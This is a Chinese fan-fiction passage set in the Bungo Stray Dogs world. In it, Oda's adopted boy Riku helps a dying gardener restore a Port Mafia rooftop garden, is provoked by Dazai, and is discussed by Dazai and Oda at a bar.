“咳咳!园艺科啊!——口说无凭,证据呢?工卡拿出来我看看!”
璃久:………
刚才那个谁,不是说带着纸直接来就行了?
见人不做声,小泉眉头一挑
“哈!没有?荒川前辈您别替他说话了,他就是个不安好心的——”
他的叫嚷声卡在喉咙里。
因为璃久将洗得发白的帆布包放在地上,又慢悠悠的抖开臂弯里的西装外套,从胸袋里掏出了一张皱巴巴的黄纸。
隔着十多米,也能看出是新人入职必备的成绩单
上面通常都会写入职部门。
“成绩单也可以,拿过来。”
荒川一手按在扳机上谨慎开口。
璃久没动,而是将纸举到面前——
对折,对折,摊开,对折,对折,对折——
“咻——”
一架纸飞机,晃晃悠悠乘着风,停在了小泉的枪杆上。
它一动不动,尖利的机头稳稳对着小泉的眉心。
小泉:“纸飞机?!你用成绩单折纸飞机??!”
“………小子。”
荒川墨镜下的眉心疯狂跳动,
“我们说的是’拿’来而不是‘飞’来。”
话一出口,后知后觉的寒意
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窜上脊背。
全封闭的高楼层,空气流动几乎不可感
纸飞机怎么能飞过十多米不掉,还停在枪杆上的?
那小子,真的只是个园丁?
—
一片死寂
璃久安静的站着,轻声开口
“这样快一点。”
小泉:???哪里快了?这小子是不是有点毛病!
他不该去园艺科,该去医院看看脑子吧?
荒川闭了闭眼,再睁开
他一手举枪,一手极其小心的拿下纸飞机
仿佛那不是一张纸,而是一个未爆炸弹。
他展开纸飞机,自下而上确认完入职部门和印章
又落在上方的学员入职评估上。
「近身格斗:D-,平衡感差,反应迟缓,无任何有效打击」
「武器熟练度:E,姿势错误,未按时完成基础拆卸」
「压力测试:E,身体僵直,眼神无光,过度沉默与退缩,无法做出任何有效回应」
三门就有两门不及格,其他成绩可想而知。
再往下,是数个部门敲下的“不予录用”红章,和一行龙飞凤舞的手写批示
「无部门适配,转后勤科酌情安排」
总务科的批复更潦草,荒川眯着眼看了会儿才读清
「转园艺科负责花园维护」
搞了半天,这小子是被赶出来的啊
异样感烟消云散
荒川抚平纸张,像夹烟一样夹在手指间,边示意小泉放下枪。
“左手边的门,直接进去就行。”
不过是个手巧的废物罢了
他轻蔑的想着。
—
48层左手边是一整面落地窗,玻璃外是湛蓝高远的天空。
但天空之下,是一片废墟
齐腰高的野草疯狂蔓延,枯黄与新绿杂乱交织。
原本的石板小径被杂草割裂,几乎消失。
几步外,一尊石雕天使倒在草丛里,脸埋入泥土,翅膀断裂。
曾经花圃的位置,只剩干裂的泥土,几根荆棘从裂缝中钻出。
空地中间,生锈的喷泉早已干涸。
池底堆积着腐烂的落叶,依稀可见鱼类的白骨。
角落的凉亭下,歪斜的桌椅被厚厚的鸟粪和枯叶完全盖住
空气里有尘土的味道,植物腐烂的味道,还有阳光曝晒金属的灼热气味。
这不是花园,是墓园
是连幽灵都不愿意光顾的生命禁地。
但其中却传出了声响
“沙——沙——沙——”
是落叶被聚拢在一起发出的声响
璃久抱着包站在门边阴影里,看向喷泉后的人影
那人握着一柄细长的扫帚,正在将落叶枯枝扫向右边敞口的大垃圾袋。
他的动作很慢,也不熟练,每次都会有几片叶子从帚间滑脱,散落在地上。
但他没有恼怒,没有烦躁,只是弯下腰,将它们一片片重新捡起来。
璃久盯着男人佝偻的背影
直到他察觉到什么,转过身来,眯着眼看向门边。
那里空无一人
他茫然地看了好一会儿,才摇了摇头,面上闪过一丝淡淡的失落。
“是风啊……”
他重新转过身去,再次捏紧了扫帚。
制服布料被汗水浸透,反射出微小的光。
空荡的庭院里再次响起有规律的响声
“沙……沙……沙……”
5. 一个问题,两份工具
—
傍晚
正值饭点,店内已经坐了几桌客人。
璃久绕到楼后的防火楼梯,回到了自己的小房间。
他换上家居服,打开帆布包
包里只有一本《家庭园艺手册》
是织田作听说他决定报园艺科后,去二手书店淘来的旧书,作为入职礼物。
但他这三天,既没有“入职”,也没有“工作”
只是站在门边观察一整天,最后沉默离开。
“笃,笃。”
是敲门声。
他听到了,却没动。
前两天,织田作什么都没问
万一今天问了呢?
问他做了什么,该怎么回答?
要是知道他什么都没做,会不会生气,或者失望?
“笃,笃。”
门又响了两声
“璃久,吃饭。”
璃久踌躇几秒,还是选择转身去开门
来这儿半年了,他知道不吃饭的话织田作一定会生气。
“多谢。”门外是端着两份咖喱饭,腾不出手的织田作
“今天在这吃?”
璃久仰起头,期待又害怕被拒绝。
比起在楼下吃,他更喜欢和织田作这样躲在小房间里单独吃,但这样的机会太少。
“嗯。”
织田作侧身进屋
这三天,璃久一天比一天沉默,傍晚热闹的一楼显然不适合沟通
“幸介说听到你回来了。”
瞬间,弧度从璃久的嘴角边消失了。
他没说话,只是绷紧身体,趴下抽出床底的折叠桌,架在房间中间的空地上。
他背靠着木椅腿坐下,看着织田作用沾了水的抹布,将小桌上的灰尘全部擦去,摆好饭,又去厨房拿了两杯水上来。
房间本就不大,因为多出来的桌子和两个人变得更加拥挤
但食物的香气足以抚平这些局促
两份咖喱饭一份特辣,一份普通
但璃久没像之前一样争辩,只是双手合十,重复着织田作的“我开动了。”就拿起勺子,无意识拨弄着盘子里的米饭。
他又想起了那个男人。
底层标配的灰色制服被他穿着,就像挂在一棵会动的枯树上
每次他挥动扫帚,制服就会被嶙峋的骨架顶起
汗渍晕开,浸透了洗得发白的布料,又被太阳晒的发硬。
那把扫帚则和使用者的身体一样残破不堪
帚毛秃了大半块,柄身的倒刺扎的男人满手伤痕
血水混着汗水一路蜿蜒,在发白的泥土上留下细长的痕迹。
他就这么带伤打扫,直到太阳高悬于头顶,才回到身后的小砖房。
门板薄,遮不住屋内压着的气喘咳嗽,偶尔还有身体倒地的闷响。
直到下午两点,他才会蹒跚而出
此时,地上不是多了新的落叶,就是多了交班守卫扔下的烟头,以及皮鞋踏地留下的泥痕。
但他只是重新拿起扫帚,将新多的落叶扫入袋中,拾起还未熄灭的烟头,扔到房边的小瓦罐里,再用打湿了的抹布,趴在地上一点点将泥痕擦干净。
直到夕阳西下
直到这一小块空地重新变得平整干净
他才会扎紧垃圾袋,倒掉脏水,挂好抹布,最后将扫帚靠回墙根
偶尔,做完这一切,他会回头看一眼天边夕阳,眸中盛满了与年龄,与自身境地不符的,孩童般的纯净,随后又被疲惫淹没。
是的,疲惫
哪怕是扫除落叶,或是提起水桶倒水,简单的日常动作对他而言都无比吃力。
那个水桶,和扫帚,和男人所处的环境一样,都到了急需更换的地步。
可这三天,没有脚步声,没有通讯器的嗡鸣,没有来探视或问询的人影
什么都没有。
比起他之前在大厅面对的讽刺哄笑,这里的寂静更为冰冷。
即使男人无声无息地死去,也不会有人知道。
就像失去价值的拳手,不会有治疗和关怀,只会丢进后巷的海水里,连最后一点声音,都会被海浪吞没。
但是
“织田作………”
为什么都这样了,他还不停下?
“为什么……要坚持注定失败的事情?”
为什么会有人每一天,都会去耕一块死透了的土地?
—
盘里的米饭被拨弄的乱七八糟,本人却浑然不觉。
织田作之助可以确定,璃久有心事
但他没有问,只是吃着特辣咖喱,偶尔喝一口冰水。
“吱呀——”
紧闭的房门被拧开了一条缝,铰链摩擦,发出粘牙的拉扯声
织田作含着半口水,下意识先确认璃久的反应
毫无反应
连拨弄米粒的动作都停止了
像是完全坠入了自己的世界里。
他松了口气,转身对门缝外的不速之客们使了个眼色
两个男孩,手里拿着彩纸叠的小青蛙,在原地站了好一会,又怯怯的看了眼发呆的璃久,才不情不愿耷拉着脑袋,消失在门后。
除了他们,大房间里还有三个更小的孩子。
但出于某些连他都不知道的原因
璃久从来没和他们说过一句话。
冰水滑入喉咙,织田作拿起勺子,正准备吃下一口,璃久的呢喃就响了起来。
“织田作………”
“为什么……要坚持注定失败的事情?”
热水升腾的蒸汽,模糊了璃久水润又迷茫的眼睛
和半年前,第一次在水坑边见到的完全不同。
“不是因为成功,而是觉得应该要做。”
他在看璃久,又好像透过时光,在看另一个更年幼,也更虚弱的璃久。
—
一次任务后的扫尾,他听到角落里传来凄厉的猫叫。
他一般不会在意,但叫声太过尖利,隐隐还带着哀求的意味
他不得不放下工具,顺着巷壁一路摸索。
拐角的黑色垃圾桶上蹲着一只黑猫
桶的角落有一团物体
那是个孩子,趴在地上,浑身被秋雨打得湿透
布条丝丝缕缕的挂在身上,右腿不自然的弯折着,裸露的皮肤上是大片青紫瘀伤
后脑高高肿起,鲜血混着泥水在他身下聚成一滩。
钝器伤,车祸伤,高坠伤
哪一种可能性,背后一定都是不寒而栗的过去。
他俯身探了探男孩的脉搏,和呼吸一样微弱短促
快死了
他正欲起身,裤脚忽然传来拉扯感。
一只苍白的小手,不知何时紧紧抓了上来
指甲已经断了,只剩皮肉死死的陷入黑色布料。
没有哭泣,没有哀求,没有尖叫
只有黑色眼眸中,那一缕微弱但亮着的光。
作为前杀手,他看到过无数双临死前的眼睛
但很少有这样,什么都没有,只有纯粹的渴望活下去的念头
尽管这具身体已经在不可逆的滑向死亡边缘。
从自己出现起,猫就不再叫唤,但视线却直勾勾的锁在他身上。
看来它不是地狱来的使者
他脱下外套,将冷的发抖的小身体裹紧后打横抱起,无视了同僚的呼喊,向咖喱店的方向疾奔而去。
哪怕他活不过今晚。
那也不是坐视不管的理由。
—
织田作努力保持着语气平稳,就像之前的每一次一样。
“失败了,和不去做,是两件事。”
“前者是结果,后者是选择。”
有些事情,去做,是因为觉得在做的那个’当下’,它应该被完成,仅此而已。”
半年前,他决定把奄奄一息的璃久抱回来时,根本没想
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多少。
只是想着,有人(还是个孩子)在求助,要帮他
仅此而已。
“结果,是最后才需要回顾的事情。”
他低下头,继续吃了口咖喱,感受到对面璃久看过来的,怔怔的目光
“织田作……”
他没抬头,吃饭的动作却加快了半拍
“那个时候,也是……吗?”
捏在勺子上的手指紧了一秒,又释然地松开。
“嗯,是啊。”
“织田作……”
璃久的声音近了一些,多了一丝不确定
“你……嘴角上扬了……15度……”
织田作不由得一怔
他想起半年前生死未卜的璃久,现在已经能精确描述自己的脸部变化了
他放下勺子,不确定的摸了下自己的嘴角
不是平的,而是有着微微的弧度
“……这是在笑……吗?”
“大概是吧。”
璃久一眨不眨地盯着,仿佛在观测相当罕见的物理现象。
直到男人的嘴角恢复正常,他才低下头,吃了一大口已经微凉的咖喱饭
“嗯,好吃。”
—
“这小子竟然又来了。”
“第四天了……比之前还早。”
雕花门前,两名守卫窃窃私语
“之前被派过来打扫的,都呆不住三天。”
那黑毛小子破纪录不说,今早竟然七点就来了。
还提着一大袋东西。
璃久充耳不闻,只是拎着袋子穿过玻璃门。
他深吸了一口清晨微凉的风,靠在门边蹲下身撑开帆布包:
两副手套,两把园艺剪,两份便当,两把小喷壶,两块抹布
工具和食物,都是双份。
还有一套色彩明丽的儿童沙滩玩具。
“啊,那是咲乐他们投资给你的。”
清晨织田作路过餐桌边时随口说着,“说不用还。”
他没有拒绝,也没有接受
只用旧报纸包好,放在帆布包最下边,压在园艺手册下
因为这是礼物,不是工具。
而礼物,是用来珍藏的。
他抱起工具,第一次走出阴影,走到光下
小路布满碎石和枯叶,凹凸不平
璃久的脚步轻若黑猫,没有发出一点声音。
他绕了一个大圈,远远避开了男人平日清扫的那片区域,只是把其中一份工具放在边缘,然后抱着自己那份,走向了相反的、堆满残枝的凉亭。
「织田作……那我明天……该怎么做呢」
「做你认为该做的事就好」
织田作的声音在脑海里响起,和眼前交织的枯枝重叠
这像极了擂台上那些缠住他手脚、令他窒息的规则。
咔嚓——
第一剪下去,带着一种决绝的力道。
—
上午九点,小砖房的门被准时推开。
男人走到墙根下,拿起扫帚,准备新一天的清扫。
他的耳朵动了动
今天除了风声,好像还多了别的声音——
他循声望去
十几步外的亭子边,一个瘦小的身影正踮着脚,手里的园艺剪咔嚓作响
那些他平日倍感为难的荆棘,正被一点点清理,残枝整齐地码在一边。
屋门前的空地,本该堆满风吹来的枯叶
但地上干干净净
只有一把小喷壶,一把园艺剪,一副手套,一块抹布,安静地等待着。
所有的工具,都是崭新的。
男人什么都没说,只是弯下腰,开始打扫小径上的落叶
扫着扫着,他忍不住直起腰,偷偷瞥了一眼
咔嚓,咔嚓
修剪声整齐清脆
捏在扫帚上的手,收紧了一瞬。
今天的风,好像小了一点。
6. 不请自来的黑猫
——
七天后。
璃久带着他的小盆栽和几本书,搬进了港口黑手党最便宜的单人宿舍
六楼的五楼,一室一卫不到二十平,墙纸薄的隔壁说话都能听见
璃久搬进来时,桌上还留着一碗发臭的泡面
窗户开着,晾衣杆上挂着两件发硬的黑色衬衫
「行动组一队:荒崎-木」
“要拿下来吗?”
身后织田作之助问道,他就住在璃久楼上。
璃久摇头,摩挲着空无一物的口袋。
他没有名牌,后勤科似乎笃定这孩子呆不久,连一块牌子的钱都不想出。
“你知道我住在这里。”
他率先走进房间,将桌上的泡面倒进垃圾桶。
“那就足够了。”
——
48楼
花园已然褪去死寂,显露出被遮掩了七年的轮廓。
垃圾袋在小砖房后整齐地码放成堆。落叶与枯枝被仔细归拢,清走
其下,久违的石板小径终于显露真容
尽管路面依旧凹凸不平,但能看清最本真的样子了。
周围曾经被杂草和碎石侵占的两块花圃,如今只剩下光秃秃的、等待播种的苗床。
干涸的喷泉池底,那些腐烂的沉积物也被悉数清除。
池底那几尾风干的金鱼骸骨,被男人小心地捞出
他还在砖房后用几块红砖,垒了一个小小的、安静的方池,将它们与落叶埋在一起。
“这叫堆肥。”
男人——远藤守边在落叶枯枝之间铺上泥土,再小心的将它们压实,
“等到明年,新花就能吃上好肥料了。”
璃久一言不发,垂在身侧的手,指节捏得发白。
身后的天空,依然澄澈湛蓝。
清风拂面,却吹不走他心头的阴翳。
太阳高悬于头顶时,男人撑着双腿起身,走到砖房门前,眼神无声询问
“要进来吗?”
第九次了
璃久第九次摇头。
织田作说过,港口黑手党的每个人,都有自己内心的角落
那栋房子里,藏着男人不想让别人看见的东西。
他抱着饭盒走向凉亭,那里暂时被作为大型垃圾的堆放处
他坐到一块凸起的光滑石头上
直到身后传来关门声,他绷紧的肩膀才松懈下来。
午饭是水煮蔬菜,梅子酱饭团,鸡肉
他拿起筷子,视线却微微偏向门扉,听到传来咳嗽声,夹杂着液体滑过喉咙的湿润声响。
男人生了重病。
每次靠近,他都能闻到对方身上弥漫的死气
他的身体就像长满了杂草和毒虫的荒地,那些混乱鲜艳的细胞正在不断吸食,吞噬仅剩不多的生命力。
明年
没有明年了
他的生命只剩下不到一百天。
“咔嗒——”
手中的筷子不知何时出现了一道裂缝
璃久猛然回过神,下意识四处张望
没人。
他看着手里已经报废的筷子,犹豫两秒,用手抓起饭团
梅子腌渍过的米饭咸鲜可口,他却吃的食不知味。
为什么要骗自己
他的眼神,那么纯净,那么明亮,满脸都是对“明年”深信不疑的样子
但每次从小房子出来,身上都带着药味
那些药不能治病,唯一的作用就是让人临死前不那么痛。
所以,是为了逃避即将到来的死亡
他想到擂台下,被打断肋骨胫骨还笑着说“下次一定会赢”的42号,被担架抬下场还嘟囔着“赢了奖金要抽雪茄烟”的28号
他们最后都变成了垃圾场的养料
编号被夺走,尸体被埋没。连鲜血都会被冲的一点不剩
没有任何存在表明他们来过。
在这里,不也一样么
一周了,除了他没有任何人来过
他想怒吼,想一巴掌打在男人脸上,想把他从梦中摇醒
你不会有明年了
你看不到新花
等你不在了,花会枯萎,草会腐烂,这里又会变回之前的样子。
你所期望的,所努力的,没有任何意义——
“望月。”
砖房的门不知何时被推开了。
“手,没事吧?”
璃久立刻低头
饭盒不复原样,而是变成了一团扭曲的废料
菜汁淋漓,沾了他一手。
他慌忙将右手背到身后,全身绷紧,眼神紧紧的盯着男人。
被发现了吗?要现在处理掉吗?
但男人只是走到墙根边,拿起扫帚,看了眼璃久,又看了看靠入口的位置
那里还有三片待清理的花圃。
“走吧。”
他率先走去,步子又沉又缓,时不时会停下来,扶着腿喘口气,肩膀随着咳嗽而颤动。
二十多米的路,他走了快十分钟,终于挨到花圃边
一回头,璃久就站在他三步远,怀里抱着垃圾袋和手套。
“和阿健那小子一样啊,走路像只猫……”
璃久的神经再度绷紧
男人只是笑了笑,眼角闪过一抹晶莹。
他低头看了看身下肥大的裤管,自嘲道,
“看来,我是真的老了啊。”
璃久没接话,只是接过男人递来的扫帚
那是三天前老板让他从咖喱店后的工具房拿的
不是新扫帚,但足够用了。
男人一片片将枯叶从土里捡起来,丢到地上,再由他扫进敞口的垃圾袋。
曾经的一个人的活,变成了两个人的。
无人说话,只有扫地的沙沙声和偶尔响起的风声。
璃久边扫,边悄悄瞥了眼男人的侧脸
浮肿的皮肤上沟壑纵横,汗水晶莹,不断从额角滑落,无声的落入土中。
“看这土。”
远藤抓起一把泥土,放在掌心捏了捏
“盖了这么久的叶子被,还睡了好几个冬天,现在,不松不紧,力气正好。”
璃久学着也抓起一把土,凑到鼻尖
和后院的不一样
一股甜腻酸腥的气味直冲鼻腔,厚腻的让他心口发闷
那是生命腐烂后沉积的味道。
是他在那里闻到过无数次的,无论用多少消毒水都浇不透擦不掉的味道。
脚下的地面开始晃动
右手心里,土粒蠕动扭曲着,像试图钻入皮肤的毒蚁。
空气变得粘稠
余光内的光线细微的扭曲,闪烁着
一滴冷汗顺着额角,砸落在地。
“等把这五片花圃都翻好了。”
男人嗓音柔和,像午后晒过的石头,暖融融的,“想想看,我们种点什么?”
我们
两个字,像一道稳定的频率,横切入混乱的感知中。
璃久猛的抬头望向男人
那一瞬间,周围的空气,光都恢复了流动
掌心里的土也停止颤动,重新恢复静止。
我们
轻飘飘的词语,却像块厚重的石头,将他快要飘走的心稳稳压住。
他依旧没有回话,掐着掌心的手指却悄悄松开了。
此时,他忽然分辨出,藏在窒息的甜腥味道下,藏着一股极淡的,清凉的湿意,仿佛清晨落在叶片上的第一滴露水
比擂台的消毒水味更真实,比后院或者盆栽土更厚重
他说不上来是什么感觉,但,不讨厌。
远藤看着死死盯着掌心泥土,仿佛要从中看出一个洞的少年。
他知道,他听进去了
剩下的,就交给时间吧。
——
总部大楼后门,三条街外居民区内,有栋六层的日式居民楼
那是港口黑手党最便宜的员工宿舍:樱花町
璃久抱着帆布包,顺着楼外的防火楼梯一路向上,脚步在五楼拐角突兀地停下。
走廊尽头的栏杆上,一个人背对他坐着,口中哼着不成调的曲子。
黑色大衣在风中如鸟翼般展开,锈蚀栏杆因前后摆动的双腿而发出不堪重负的声响
“呀~你好啊,织田作收养的小猫。”
璃久贴紧墙根,一动不动,呼吸声都放到最轻
是那个用点心盒装腐烂料理,送给织田作的“朋友”
港口黑手党的干部,太宰治。
他和五年间接触过的所有对手感觉都不同。
“说起来,一周前我特地送了织田作一份「樱花洗涤套餐」,里面可是整整六块,六块和樱花一样的樱花糕啊。”
太宰用唱歌般的声音说着
“我试了好多次,才调出那种能看见春末哀愁的粉红色呢——”
那才不是樱花糕——璃久绷紧了呼吸。
那是毒药,是披着粉红外衣的漂亮毒药。
“可是他,这次竟然都没有吃呢。”
委屈一扫而空,混合了纯粹的天真和恶意的笑,直直锁定了璃久。
“织田作以前可从不会这样拒绝“朋友”的心意哦,哪怕是立刻会进医疗室的“皇后毒苹果汁”,都会面不改色的喝完,这还是第一次,他没有吃我送的东西呢。”
太宰
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拖长了音节,鸢眸中闪过一片寒意
“是因为你吧,让他都忍不住,想要抛弃我这个旧友了呢~”
“诶,如果我在你和他面前,像追寻自由的小鸟一样跳下去——”
食指在半空中划过一道圆弧,身体在半空中前后摇摆
离坠楼,就差一阵风
“不知道他会先为新来的你伤心,还是,先为死去的旧友我而哀悼呢~”
背在身后的手瞬间握紧,寒意顺着脚背直窜头顶。
璃久闭上眼,不去看那幕“自杀表演秀”。
冷静下来,望月璃久,想想织田作说过的话
「遇到太宰的话,不论他说什么都不要回答,也不要和他对视」
他下意识瞥了眼身后楼梯口
很安静,500m内没有脚步声
这里两分钟内都不会来人。
「必要的话,逃跑也没有关系」
握紧的拳头逐渐松懈
璃久低下头,专注地凝视着脚下的一小块瓷砖
一步一步
他刻意模仿着男人的蹒跚步态,穿过整条走廊,顶着太宰如芒在背的玩味目光,将钥匙插进锁孔。
开门,关门,一气呵成。
靠在门板上,他才发现,衬衫已经浸透了汗。
拳手是攻身
而太宰,是攻心。
那个问题像根毒刺,扎进他心底最深的恐惧
「如果织田作知道我是因为嫉妒你而自杀,他会先为因失宠而去死的我而难过,还是先为背负间接杀人罪行的你而难过呢」
他害怕成为织田作的累赘,更害怕因此被他抛弃
如果织田作的朋友因为我而去死了………
璃久蹲下身,在门后紧紧的缩成了一团。
——
“呜哇,就这么走了?”
门外,太宰扭身跃下栏杆,随手拍了拍大衣上的灰尘,凝视着正对面紧闭的房门,嘴角的笑容越来越大。
“真是有趣呢,呵呵呵……”
笑声回荡在走廊里,“比我预想的要有趣一百倍——”
面对他的挑衅,一般人不是尖叫逃走,就是怒吼反驳,亦或是崩溃哭泣。
但那只小猫,却是彻底沉默。
不是怯弱,而是警惕
是将全身力量都收拢于一点,蓄势待发的警惕
“明明都被戳中弱点了呢~”
问出那句话的瞬间,璃久周身凝固的气场,身边握紧的拳头,都体现了他的在意。
但是,这份在意,却被强大的意志力完美的压制了。
“那份入职评估,果然是张废纸啊。”
一个被所有部门踢皮球的,真正的废物,在面对他太宰治的心理压迫时,怎么会表现的如此冷静,如此沉稳,如此………有趣?
“你在隐藏什么呢?”
他对着门板自言自语,“过去,力量,还是两者都有?”
“滴滴滴!——滴滴滴!——”
通讯器提示音打破了寂静。
太宰的笑容瞬间消失,取而代之的是毫不掩饰的嫌恶。
他只用两根手指,将通讯器从口袋里拈出来,手臂伸得老远,仿佛那是带剧毒的昆虫。
他甚至没看来电显示,就直接按下了接通键。
几乎能震碎耳膜的怒吼声炸响,在空荡的走廊里激起回音:
“太——宰——!!!”
“五点半码头仓库集合!现在都已经五点二十八分了!你这该死的青花鱼又漂到哪个臭水沟里去进行你那恶心的自杀活动了吗?!”
太宰将通讯器又拿远了些,用小指掏了掏耳朵
“诶——我还以为是谁呢,原来是漆黑的小矮人在叫唤啊。声音太大可是长不高的哦,而且,脑子里只有肌肉和守时的蛞蝓,怎么会理解我刚刚正在进行一项多么重要的人际关系观察实验呢?”
“谁是小矮人?!谁是蛞蝓?!你想死吗混蛋!!”
那头传来拳头砸在集装箱上的闷响,以及中原中也更加暴躁的声音
“我管你什么狗屁实验!给你三十秒!再不出现,我就把这整片仓库区,连着你那张让人火大的脸一起碾进地底!”
“嗨~嗨~知道啦,暴力的蛞蝓先生。真是的,一点艺术感和耐心都没有……”
太宰用鼻子哼了一声,轻飘飘地挂断了通讯,完美掐断了对方下一波的怒吼。
他随手将通讯器塞回口袋,目光掠过门牌上「荒崎-木」的假名
“游戏变得更加有趣了,对吧~”
他拖长了嗓音,清晰又准确叫出了那个名字
真正的,屋主的名字
“望月璃久君~”
7. 幕间(1)
「提示:幕间指璃久不出场的章节」
——
「刚下班,先去Lupin,七点半回去」
半小时前的讯息还显示未读。
织田作收起沉默的通讯器,钻进酒馆的门内。
“呀,织田作——”
他走下楼梯,太宰已经坐在吧台前,开心的挥了挥手。
通讯器依然沉默
织田作摩挲着裤袋,坐在了太宰的邻座。
“安吾今天又加班呢。”
太宰打了个响指,酒保默不作声端上杯子,冰球在晶莹的液体里上下浮动
“只有我和你的,不完美酒局啊——”
“嗯。”织田作应声喝了口酒
冰凉的液体滑入喉咙,他又掏出通讯器。
半个多小时,依然显示未读。
这不正常
璃久不常回复,但一定会读他的讯息。
现在六点半,已经过了下班时间。
是出事了吗。
口中的液体忽然变得滞涩起来。
“织田作~”
太宰趴在吧台上,“我送你的樱花糕,你竟然没吃呢——”
“嗯。”
织田作放下通讯器,瞥了眼满脸委屈,写着“快问我为什么”的友人
“我家孩子说,味道太有冲击性了,和咖喱不搭。”
“诶,关系真好啊——还’我家的孩子’。”
太宰戳着杯中的冰球
“我记得,你收养他才半年而已吧,织田作什么时候变得这么会关心人了——”
酸味都快飘出酒吧的门了。
“他是我收养的。”
织田作扭头,“照顾他是本分。”
“我还以为是你有了新人,就忘了我这个旧友了呢。”
“太宰,朋友和孩子是两回事。”
织田作看了他一眼
“是这样嘛——”
太宰话锋一转
“说起来,我今天来这之前,顺路去了趟樱花町哦。”
港口黑手党最便宜的宿舍,和干部配给的高级公寓相隔十万八千里,和Lupin更是完全不顺路。
“然后啊。”
太宰微微后仰,
“见到了你的那只小猫哦——真的好小一只,缩在楼梯拐角,直勾勾的盯着我看呢。”
他轻轻的笑了一声,很快淹没在杯盘交错声中,
“我就问了他一个问题。”
来了,织田作竖起耳朵,到关键的地方了。
“我说——”
太宰歪了歪头,鸢眸映出酒馆暖黄色的光,重复了一遍那个问题。
难怪,织田作扫了眼依旧沉默的通讯器。
那孩子,是在担心会不会成为他的累赘。
“他听到了哦~我很确定。”
太宰仰头将酒一饮而尽,杯底砸在桌面上,
“结果,他竟然!直接!就进了房间!啊啊——真是太不尊重上级了!织田作!你没教他对组织的上级和前辈该有的礼仪态度吗!”
“你明明就没生气。”
织田作终于开口,一针见血。
“被看穿了啊。”
太宰举起双手,眸中佯装的愠怒一扫而空,露出兴奋的底色,
“我怎么会生气呢,我只是觉得,太有趣了,织田作你可真是,捡到了一个不得了的宝贝啊——”
“是吗。”
织田作喝完最后一口酒,指腹有一下没一下摩挲着吧台。
他当然知道,璃久的特殊
不止他的出身
还有他异于常人的能力。
半年前的雨夜,原本濒死的璃久在他和老板的目睹下,奇迹般的恢复了健康
皮肤光洁,呼吸平稳,所有指标全都正常。
仿佛那些伤口只是上帝错画的涂鸦,被他自带的“橡皮擦”擦的干干净净
远远超出普通人类的恢复力,只有一种可能。
异能力。
而在拥有「人间失格」,能无效化任何异能的太宰面前,所有异能都无所遁形。
这也是他提醒璃久,尽量远离太宰的原因。
但没想到,太宰会因为自己,主动去找到璃久。
织田作的呼吸微微绷紧,脑中不受控制浮现出最坏的可能
如果是因为他——
“织田作,你在紧张哦。”
太宰的声音完全褪去了笑意
“作为收养了璃久君半年多的监护人,你是不是,知道些什么呢——”
明目张胆的试探。
酒保俯身又将杯子灌满。
“是,我的确知道。”
干脆利落的承认
在能洞察人心的太宰面前,隐瞒,否认,都没有意义。
“但。”织田作平静的回望过去,“那又如何?”
“对我来说,璃久就是个十四岁,话不多,想通过辣味咖喱证明自己已经长大,喜欢泥土和植物的好孩子,这就够了。”
这就足够了
那些或许黑暗血腥的过去,与他照顾璃久的决定无关。
“噗——哈哈哈哈哈哈哈哈!——”
太宰沉默了几秒,大笑出声
“好孩子?”
他笑着擦去眼角的泪
“织田作,你真的这么认为?好孩子面对我这样的问题,可不会露出那种,竭力抑制内心失控的冰冷眼神哦。”
太宰侧过身,观察着织田作的每一丝表情
“那种眼神,不是怯弱或畏惧,而是评估,是戒备,是隐藏。”
“他在装哦。”
他一锤定音
“在收养者面前,装成纯良好孩子的样子,背地里说不定可是随意取人性命的恶魔哦。”
“织田作,我说完这些,你还觉得,自己对他的判断真的准确吗?”
他托着下巴,看着织田作的神情从戒备一点点变成了…….无语?
“太宰。”
织田作罕见的无奈,“我感觉你更像在说自己。”
装成好孩子的恶魔……..
“织田作!你怎么能这么说我呢!我可是实实在在,地地道道的良好青年诶!——你竟然怀疑我的善良本质!——”
通讯器哔哔作响
织田作一手按住扑腾的太宰,防止他摔下去,一手掏出通讯器。
「璃久:我到咖喱店了」
「璃久:老板问你怎么还没来,我说你可能在忙」
「璃久:……..你吃饭了吗,我还没」
担忧烟消云散,织田作立刻单手回复
「嗯,我还在Lupin,二十分钟后到,晚饭一起吃」
“啊啊,没意思!太没意思了!——”
几乎在织田作开始打字的同时,太宰就爆发出一阵吵嚷
“织田作你真是太护着他了!我苦口婆心说了那么多!你一点动摇都没!让我这个看戏的很失望很失望诶!——”
啊,他承认是在看戏了。
织田作没有解释,也没有反驳,只是为太宰又点了一杯新的酒。
他掏出钱包:“他的两杯记我的账吧。”
“这还差不多——”
太宰嘟囔着,手却诚实的捧起玻璃杯,珍惜的摩挲了一下。
漆黑的袖口滑下,露出底下新缠的绷带。
“你又受了新伤啊。”
“啊,手腕啊。”
太宰漫不经心的拉下袖口,仿佛手腕被割破只是件小事
“在码头研究边欣赏夕阳边无痛沉底的自杀方法,结果被不识趣的碎石绊了一跤。”
“中也没拉你一把吗?”
“怎么可能?”
太宰冷嗤一声
“那只蛞蝓的大脑里大概只有‘碾碎’这个词吧,敌人刚露了个头,他就弹出去把他们都掀翻了,真是的,商量好的计划完全没听。”
“这次送来的新人也是,蠢透了。”
太宰戳着杯中的冰球
“大脑平滑的跟被熨斗熨过一样,特别是那个——青木,抱着机关枪冲锋的样子,跟去送死的虫子没区别,要不是被小矮人拉了一把,现在尸体都被鱼吃干净了吧。”
“青木吗?”
织田作若有所思,“好像是这次的第一名。”
“第一?”
太宰像听到了最好笑的笑
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话,“是指去送死的“第一”吗?确实,那股着急的味道,隔着三条街都能闻到呢。”
——
港口黑手党总部大楼,50层
“首领,码头东区清剿任务已经完成。”
中原中也微微颔首
黑礼帽被他摘下,抵在胸前
“详细报告书我会稍晚些提交。”
“辛苦了,中也君。”
十几步外,森鸥外坐在办公桌后,翻阅着部下呈上来的任务简报,爱丽丝趴在地毯上边哼歌边在白纸上涂涂画画。
“任务进行的如何?”
“敌方人员共计14人,已全部歼灭。”
“非常不错的成绩,那我方如何?”
“我方——”
中也沉着的声线滞涩了下,“受伤5人,死亡……”
他停顿时,森鸥外恰好翻到最后一页
「死亡人员:井山太郎,行动组三队;伊藤源,行动组四队」
「死因:流弹击中心口和头部,当场死亡」
男人目光平静下移
“诶?受伤人员,青木胜也——这不是入试成绩第一的那个孩子吗?”
“是。”
中也捏着帽子的手紧了紧
“那两个中弹的小子是青木的小弟,青木那家伙,看着兄弟死了,就想冲过去报仇,被我拉回来了。”
他垂下眸,耳边还回荡着青木撕心裂肺的吼声。
“导致你的重力网出现了0.5秒的空缺,被敌方趁虚而入了。”
森鸥外的声线染上了冷意,“对吗?”
“是我实力不精,导致兄弟们受伤了。”
中也单膝跪地
